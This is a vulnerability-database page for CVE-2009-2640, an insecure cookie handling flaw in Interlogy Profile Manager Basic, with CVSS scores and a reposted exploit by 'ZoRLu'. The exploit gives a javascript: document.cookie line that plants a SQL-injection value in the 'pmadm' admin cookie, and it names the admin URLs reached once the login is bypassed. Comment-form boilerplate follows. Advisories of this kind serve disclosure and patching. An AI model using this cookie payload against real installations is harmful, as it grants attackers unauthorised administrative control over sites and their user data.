Interlogy Profile Manager Basic Insecure Cookie Handling Vulnerability

2009-07-29 / 2009-07-30

Credit: ZoRLu

Risk: High

Local: No

Remote: Yes

CVE: CVE-2009-2640

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

[~] interlogy Profile Manager Basic (for ByPass) Insecure Cookie Handling Vulnerability
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 06/06/2009
[~]
[~] Home: yildirimordulari.com / z0rlu.blogspot.com
[~]
[~] msn: trt-turk@hotmail.com
[~]
[~] N0T: Kpss AnanI ....
[~] -----------------------------------------------------------
desc:
normal login for cookie
pmadm=dGVzdA;
if &#195;&#189; do this:
pmadm=dGVzd(write any thing);
example:
pmadm=dGVzdz;
or
pmadm=dGVzd123231212313;
not login
if &#195;&#189; do wthis:
pmadm=dGVzd ' or ';
boom this loggin :D
exp:
javascript:document.cookie = "pmadm=dGVzd ' or '; path=/";
after you go here:
http://demo.interlogy.com/pm3/cgi/admin.cgi?action=edittemp
or http://demo.interlogy.com/pm3/cgi/admin.cgi?action=users
[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone & Stack & ThE g0bL!N & AlpHaNiX and all friends
[~]
[~] yildirimordulari.com / z0rlu.blogspot.com
[~]
[~]----------------------------------------------------------------------

References:

http://xforce.iss.net/xforce/xfdb/50992

http://www.vupen.com/english/advisories/2009/1529

http://www.milw0rm.com/exploits/8895

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Interlogy Profile Manager Basic Insecure Cookie Handling Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.